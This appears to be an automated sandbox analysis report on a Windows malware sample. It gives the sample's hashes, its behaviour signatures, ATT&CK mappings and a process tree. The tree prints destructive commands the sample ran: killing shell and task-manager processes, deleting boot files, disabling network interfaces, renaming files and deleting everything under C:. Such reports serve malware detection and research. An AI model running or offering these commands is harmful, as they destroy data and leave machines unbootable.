ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061

Analysis

max time kernel
90s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2023 12:35

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General

Target

ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe
Size

537KB
MD5

99ae89d49036c0e2f934339510c68bea
SHA1

b05fe3112ff3b29aca6b510cb093094ad10011d4
SHA256

ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061
SHA512

7a6c48ab4a1894a6712bc337d356f984a38e18f4005bd259a016f9bf634eff92f349f61f49aa0990d579bb50c423930700a6a2874371160f8664cc56a35580a7
SSDEEP

6144:4gWnATR10e5cDOT4cFxWdkGjZJi8mImDGHGaLtKXuRth1M+H:Cq10/DOT4ce3j7DDKXuRthG+

Score

6^/10

bootkit persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
4968	taskkill.exe
2436	taskkill.exe
2648	taskkill.exe
4624	taskkill.exe
2888	taskkill.exe
4256	taskkill.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	4256	taskkill.exe
Token: SeDebugPrivilege	4968	taskkill.exe
Token: SeDebugPrivilege	2436	taskkill.exe
Token: SeDebugPrivilege	2648	taskkill.exe
Token: SeDebugPrivilege	4624	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 4776	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	83
PID 4912 wrote to memory of 4776	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	83
PID 4912 wrote to memory of 4776	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	83
PID 4776 wrote to memory of 2888	4776	cmd.exe	84
PID 4776 wrote to memory of 2888	4776	cmd.exe	84
PID 4776 wrote to memory of 2888	4776	cmd.exe	84
PID 4912 wrote to memory of 608	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	85
PID 4912 wrote to memory of 608	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	85
PID 4912 wrote to memory of 608	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	85
PID 608 wrote to memory of 4256	608	cmd.exe	86
PID 608 wrote to memory of 4256	608	cmd.exe	86
PID 608 wrote to memory of 4256	608	cmd.exe	86
PID 4912 wrote to memory of 4792	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	87
PID 4912 wrote to memory of 4792	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	87
PID 4912 wrote to memory of 4792	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	87
PID 4792 wrote to memory of 4968	4792	cmd.exe	88
PID 4792 wrote to memory of 4968	4792	cmd.exe	88
PID 4792 wrote to memory of 4968	4792	cmd.exe	88
PID 4912 wrote to memory of 4360	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	89
PID 4912 wrote to memory of 4360	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	89
PID 4912 wrote to memory of 4360	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	89
PID 4360 wrote to memory of 2436	4360	cmd.exe	90
PID 4360 wrote to memory of 2436	4360	cmd.exe	90
PID 4360 wrote to memory of 2436	4360	cmd.exe	90
PID 4912 wrote to memory of 2728	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	91
PID 4912 wrote to memory of 2728	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	91
PID 4912 wrote to memory of 2728	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	91
PID 2728 wrote to memory of 2648	2728	cmd.exe	92
PID 2728 wrote to memory of 2648	2728	cmd.exe	92
PID 2728 wrote to memory of 2648	2728	cmd.exe	92
PID 4912 wrote to memory of 1540	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	93
PID 4912 wrote to memory of 1540	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	93
PID 4912 wrote to memory of 1540	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	93
PID 1540 wrote to memory of 4624	1540	cmd.exe	94
PID 1540 wrote to memory of 4624	1540	cmd.exe	94
PID 1540 wrote to memory of 4624	1540	cmd.exe	94
PID 4912 wrote to memory of 1896	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	95
PID 4912 wrote to memory of 1896	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	95
PID 4912 wrote to memory of 1896	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	95
PID 1896 wrote to memory of 4996	1896	cmd.exe	96
PID 1896 wrote to memory of 4996	1896	cmd.exe	96
PID 1896 wrote to memory of 4996	1896	cmd.exe	96
PID 4912 wrote to memory of 4636	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	97
PID 4912 wrote to memory of 4636	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	97
PID 4912 wrote to memory of 4636	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	97
PID 4636 wrote to memory of 1444	4636	cmd.exe	98
PID 4636 wrote to memory of 1444	4636	cmd.exe	98
PID 4636 wrote to memory of 1444	4636	cmd.exe	98
PID 4912 wrote to memory of 1952	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	99
PID 4912 wrote to memory of 1952	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	99
PID 4912 wrote to memory of 1952	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	99
PID 1952 wrote to memory of 2372	1952	cmd.exe	100
PID 1952 wrote to memory of 2372	1952	cmd.exe	100
PID 1952 wrote to memory of 2372	1952	cmd.exe	100
PID 4912 wrote to memory of 208	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	101
PID 4912 wrote to memory of 208	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	101
PID 4912 wrote to memory of 208	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	101
PID 208 wrote to memory of 4512	208	cmd.exe	102
PID 208 wrote to memory of 4512	208	cmd.exe	102
PID 208 wrote to memory of 4512	208	cmd.exe	102
PID 4912 wrote to memory of 4804	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	103
PID 4912 wrote to memory of 4804	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	103
PID 4912 wrote to memory of 4804	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	103
PID 4912 wrote to memory of 4260	4912	ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe	104

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4996	attrib.exe
1444	attrib.exe
2372	attrib.exe
4512	attrib.exe
4272	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe
"C:\Users\Admin\AppData\Local\Temp\ef9e517a597bb154f045d58dd7dda00e421c69154777b79b89b9659c5b7e8061.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'explorer.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'explorer.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'cmd.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'cmd.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'powershell.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'powershell.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4968
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'powershell_ise.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4360
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'powershell_ise.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'studentmain.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'studentmain.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2648
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill -f -im 'taskmgr.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -f -im 'taskmgr.exe'
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -S -H C:\bootmgr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:4996
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -S -H C:\boot.ini
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\boot.ini
    3⤵
    - Views/modifies file attributes
    PID:1444
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -S -H C:\ntldr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\ntldr
    3⤵
    - Views/modifies file attributes
    PID:2372
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -S -H C:\Autoexec.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\Autoexec.bat
    3⤵
    - Views/modifies file attributes
    PID:4512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\Autoexec.bat
  2⤵
  PID:4804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\windows\win.ini
  2⤵
  PID:4260
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\windows\system.ini
  2⤵
  PID:4332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -S -H C:\config.sys
  2⤵
  PID:3080
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -H C:\config.sys
    3⤵
    - Views/modifies file attributes
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\config.sys
  2⤵
  PID:3852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\ntldr
  2⤵
  PID:3528
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\boot.ini
  2⤵
  PID:3576
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\bootmgr
  2⤵
  PID:3356
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh interface set interface '±¾µØÁ¬½Ó' disabled
  2⤵
  PID:5008
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface set interface '±¾µØÁ¬½Ó' disabled
    3⤵
    PID:3568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh interface set interface 'WLAN' disabled
  2⤵
  PID:2072
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface set interface 'WLAN' disabled
    3⤵
    PID:4668
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ren C:\*.* *.taierzhuang
  2⤵
  PID:1204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c del -f -s -q C:\*.*
  2⤵
  PID:3788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Bootkit

T1067

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4912-132-0x0000000000140000-0x00000000001FD000-memory.dmp

Filesize
756KB

Download
memory/4912-168-0x0000000000140000-0x00000000001FD000-memory.dmp

Filesize
756KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads